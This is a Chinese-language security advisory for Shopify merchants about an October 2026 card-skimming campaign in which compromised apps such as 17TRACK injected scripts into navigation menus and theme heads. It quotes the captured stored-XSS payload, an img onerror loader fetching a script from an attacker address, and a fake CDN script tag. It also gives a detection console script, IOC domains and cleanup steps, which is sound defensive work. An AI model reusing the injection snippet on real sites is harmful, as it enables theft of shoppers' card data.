Shopify App 被黑盗卡事件:17TRACK 菜单注入与自查
更新于 2026-10-21 · 依据:Roman Zipp 技术分析 、iTnews 报道 、Shopify 社区讨论 、Reddit r/shopifyDev 商家报告 ,以及我们对受影响店铺页面的实测。事件仍在发展,以 Shopify 和各 App 开发者的正式公告为准。
这次不是 Shopify 平台被黑,而是第三方 App 被攻击者控制,借 App 的权限往商家店铺里塞恶意脚本。 顾客点结账时被带到一个仿冒的结账页,填完卡号后再被送回真结账页正常付款,顾客和商家几乎都察觉不到。
10 月 10 日以来已经有好几批 App 中招。10 月 20 日这一波换了位置:恶意代码藏在导航菜单的“名称”里。物流查询 App 17TRACK 被商家点名,目前已在 App Store 搜不到。
一、事件时间线
| 时间 | 发生了什么 | 来源 |
|---|---|---|
| 10/10 | 开发者结账时被跳到钓鱼页,追查到 Hulk Product Options 的自定义 JS 配置被注入 | Roman Zipp 分析 |
| 10/13 UTC 07:47–15:00 | Selleasy(Logbase)内部工具被入侵,攻击者往商家的 Custom JS 设置里加脚本 | Selleasy 声明、iTnews |
| 10/14 前后 | Swym Wishlist Plus 被商家报告 | 社区报告 |
| 10/17–10/20 | Boost AI Search & Filter、Privy、Consentmo 被报告或下架 | 社区报告 |
| 10/20 | 商家发现恶意代码出现在菜单标签和结账按钮;店主更新称 Shopify 已确认是 17TRACK | Reddit 店主转述 |
| 10/21 | App Store 搜索 17TRACK 已无结果 | 我们实测 |
关于“下架了多少个 App”:第三方对 App Store 存档的统计显示,10 月共有约 126 个 App 标记为已下架,其中 89 个集中在 10 月 15 日。这些下架不一定都和本次攻击有关,同期正好赶上 API 2025-10 版本停用。Shopify 没有公布具体数量。
一句话:被点名的 App 跨了追加销售、商品选项、心愿单、搜索、弹窗、GDPR、物流查询好几类,不能只看自己有没有装其中某一个,要按下面的步骤查店铺本身。
二、实测:菜单名称被换成了一段脚本
我们抓取了一家受影响店铺的 17TRACK 订单查询页(/apps/17TRACK),发现两处注入。
1. 页脚“Track Your Order”菜单被篡改
菜单链接本身还指向正常的 17TRACK 查询页,但菜单名称变成了下面这段 HTML:
<a href="https://店铺域名/apps/17TRACK" class="list-menu__item--link">
<img src=x onerror="s=document.createElement('script');
s.src='//240.1.2.3/check-out/assets/l3.js';document.head.append(s)">
</a>
原理很简单:
src=x是一张不存在的图片,一定会加载失败;- 加载失败就触发
onerror,往页面里插入一个外部脚本; - 页面上看起来只是一个裂开的小图标,普通访客根本不会注意。
这是典型的存储型 XSS:恶意代码存在后台数据(菜单)里,每个访客打开页面都会执行。
截图里的
240.1.2.3属于保留地址段,公网上基本访问不到,这一条可能已经失效或只是占位。但路径/check-out/assets/l3.js和 Reddit 商家看到的cartassure[.]top/check-out/assets/l3.js完全一致,是同一套攻击。
2. <head> 顶部有一个假 CDN 脚本
<script src="https://shopify.jsdeliver.cloud/js/config.js" defer="defer"></script>真正的公共 CDN 是 jsdelivr.net,这里是 jsdeliver.cloud,前面再加个 shopify. 冒充官方。这个域名今年 4 月就有商家在 Shopify 社区报告过。截至 10 月 21 日,它已经无法解析。
3. 其他 App 已经在“防”这两个地址
同一页面里,另一款 App(Kaching Bundles)的代码会检测页面上是否存在 shopify.jsdeliver.cloud 或 240.1.2.3 的脚本,检测到就换一套加载逻辑。App 开发者之间已经把这两个地址当作已知恶意特征在处理,侧面说明影响面不小。
三、为什么物流 App 能改你的菜单
物流查询类 App 安装时通常会自动帮你在菜单里加一个“Track Your Order”,所以它们本来就申请了修改店铺导航的权限。一旦 App 的服务器或内部工具被攻击者控制,同样的权限就能被用来:
- 把菜单名称改成带
onerror的图片标签; - 主题渲染菜单时把名称原样输出,脚本执行;
- 脚本劫持结账按钮,跳到假结账页。
以上是按 App 权限推出来的攻击路径。Shopify 和 17TRACK 都还没公开具体入侵方式。
前几轮的注入位置不一样,但套路相同:
| 注入位置 | 例子 | 怎么查 |
|---|---|---|
| 导航菜单名称 | 菜单标题里出现 <img src=x onerror=…> | 后台 内容 → 菜单,逐个点开看名称 |
| App 的自定义 JS 配置 | HulkApps 的 custom_js、Selleasy 的 Custom JS | 开发者工具 → Network,看 App 接口返回里有没有大段 JS |
主题 <head> | shopify.jsdeliver.cloud/js/config.js | 在线商店 → 编辑代码,全局搜索 |
| 结账按钮 | 点击事件被劫持,跳到假结账页 | 无痕窗口真实走一遍结账 |
钓鱼脚本有三个特点,让它很难被发现:
- 每个访客只跳一次,用 sessionStorage 打标记,所以你自己测一次没问题不代表没事;
- 假结账页显示的是真实购物车内容,填完再跳回真结账页,订单照常生成;
- 跳转链接里会带
return_to=你的真实结账链接。
红线:卸载 App 不等于清干净。 App 写进菜单、metafield、主题文件里的内容,卸载后还留着。Reddit 上的店主就是清了一次之后,又发现别的菜单项里还有毒。
四、5 分钟自查
第 1 步:浏览器里快速扫一遍
打开店铺任意页面,按 F12 打开控制台,粘贴运行下面这段。它只读不改:
const bad = /jsdeliver\.cloud|240\.1\.2\.3|cartassure|biliing\.top|checkout-confirm\.top|order-confirm\.top|account-confirm\.top|billing-confirm\.top|checkout-guard\.top|check-out\/assets/i;
const hits = [];
document.querySelectorAll('script[src]').forEach(s => bad.test(s.src) && hits.push(['script', s.src]));
document.querySelectorAll('[onerror],[onload]').forEach(el => {
const code = (el.getAttribute('onerror') || '') + (el.getAttribute('onload') || '');
if (/createElement\(\s*['"]script/.test(code) || bad.test(code)) hits.push(['inline', el.outerHTML.slice(0, 200)]);
});
Object.keys(sessionStorage).filter(k => /__ctf_/.test(k)).forEach(k => hits.push(['sessionStorage', k]));
console.table(hits.length ? hits : [['OK', '未发现已知特征']]);再顺手看两眼:
- 菜单和页脚里有没有裂开的小图片;
- 用全新无痕窗口加购、点结账,确认地址栏是你自己的域名
/checkouts/…或checkout.shopify.com,不是陌生的.top域名。
第 2 步:后台逐项检查
| 位置 | 看什么 |
|---|---|
| 内容 → 菜单 | 逐个打开每个菜单项,名称里有没有 <、img、onerror、script |
| 在线商店 → 主题 → 编辑代码 | 搜索 onerror、jsdeliver.cloud、createElement('script')、.top/ |
| 在线商店 → 主题 → 自定义 → 应用嵌入 | 关掉不认识的 |
| 设置 → 应用和销售渠道 | 列出物流、搜索、追加销售、弹窗、GDPR 类 App,对照上面的名单 |
| 设置 → 用户和权限 | 清理不认识的员工、协作者 |
第 3 步:发现中招后
- 先开店铺密码保护止血。被攻击的商家收到的 Shopify 回复也是“保持密码保护,等我们确认”。
- 停用或卸载可疑 App,卸载后回头再查一遍菜单和主题,残留不会自动清掉。
- 改 Shopify 主账号密码、开两步验证;有自建 App 的,轮换 API 密钥。
- 联系 Shopify 支持,或发邮件到 security@shopify.com,附上截图、时间和恶意域名。
- 找出这段时间下单的顾客,提醒留意信用卡异常,准备应对拒付。
- 之后定期巡检。有商家在每 15 分钟自动跑一次结账检测。
一句话原则:先止血(密码保护),再清源(App + 菜单 + 主题),最后善后(密码、顾客、拒付)。顺序别反。
五、已知恶意特征(IOC)
以下域名不要访问,用于在主题代码、菜单、网络请求里搜索比对:
| 类型 | 特征 | 出现在 |
|---|---|---|
| 域名 | cartassure[.]top | 10/20 菜单注入,路径 /check-out/assets/l2.js、l3.js |
| 域名 | shopify.jsdeliver[.]cloud | 假 CDN,插在主题 <head> |
| 域名 | biliing[.]top、checkout-confirm[.]top、order-confirm[.]top、account-confirm[.]top、billing-confirm[.]top、checkout-guard[.]top | 10 月前几轮的假结账页 |
| IP | 240.1.2.3、45.197.2.217 | 菜单注入脚本地址 / 前几轮假结账服务器 |
| 字符串 | onerror="s=document.createElement('script')、/check-out/assets/ | 菜单名称、主题代码 |
| sessionStorage | __ctf_shim_handoff_done_v1、__ctf_checkout_txn_v1 | 脚本已运行的痕迹 |
| URL 参数 | return_to、source_url、source_site | 跳转到假结账页的链接 |
被点名的 App(截至 10 月 21 日):
- 厂商自己承认:Selleasy、Hulk Product Options
- 社区报告或已下架:Swym Wishlist Plus、Boost AI Search & Filter、Privy、Consentmo
- 10 月 20 日这一波:17TRACK(店主称 Shopify 已确认,App Store 已搜不到)
六、常见问题(FAQ)
Q:是 Shopify 被黑了吗? A:目前没有证据显示是 Shopify 平台本身被入侵。 被攻破的是第三方 App 的服务器、内部工具或配置,攻击者借 App 的合法权限往店铺里写代码。Shopify 的处理方式是下架相关 App、要求开发者清除恶意代码。
Q:我没装名单里的 App,就安全了吗? A:不一定。 名单只是被公开点名的,有商家在没装 HulkApps 的情况下也被跳转过。按第四节的步骤查菜单、主题和结账流程,比对名单更可靠。
Q:卸载 17TRACK 之后,菜单里的恶意代码会自动消失吗? A:不会。 菜单名称是店铺自己的数据,App 卸载后改过的内容还在。必须到内容 → 菜单里手动改回正常名称,再搜一遍主题代码。
Q:我自己测结账是正常的,是不是就没中招? A:不能这么判断。 脚本对同一个访客只跳一次,而且部分浏览器和银行风控会拦截,所以经常复现不出来。每次测试都要用全新的无痕窗口,并且结合菜单和主题代码检查。
Q:顾客的卡号是不是已经泄露了? A:如果顾客在事件期间被带到过假结账页并输入了卡号,就要按已泄露处理:通知相关顾客联系发卡行,留意拒付。没有被跳转过的订单,卡信息走的是 Shopify 正常结账,不受影响。
Q:以后怎么降低这类风险? A:只装真正在用的 App,定期清理;尽量少给 App“修改导航”“修改主题”这类权限;员工和协作者按需开权限并开两步验证;大促前后用无痕窗口抽查结账。详见 Shopify 应用体检 和 店铺安全设置指南。
七、延伸阅读
- Shopify 店铺安全设置指南 — 账号 2FA、员工权限、协作者和应用权限怎么管
- Shopify 应用体检:清理与性能排查 — 哪些 App 该留、哪些该删
- Shopify Script Tag 弃用与迁移指南 — App 往店面注入脚本的方式正在收紧
- Shopify 结账扩展性指南 — 正规的结账定制方式
- Shopify 黑五网一备战 2026 — 大促前的检查清单
小结:2026 年 10 月这轮 Shopify 盗卡事件,是攻击者控制了多个第三方 App,借 App 权限往店铺注入假结账跳转脚本。10 月 20 日的一波把代码藏进了导航菜单名称,17TRACK 被点名并从 App Store 消失。商家要做的是:用控制台脚本和无痕结账快速自查,逐个检查菜单、主题代码和应用嵌入,记住卸载 App 不等于清干净;一旦发现跳转,先开密码保护,再清理、改密码、联系 Shopify 并通知受影响顾客。事件仍在发展,App 名单和恶意域名会持续更新。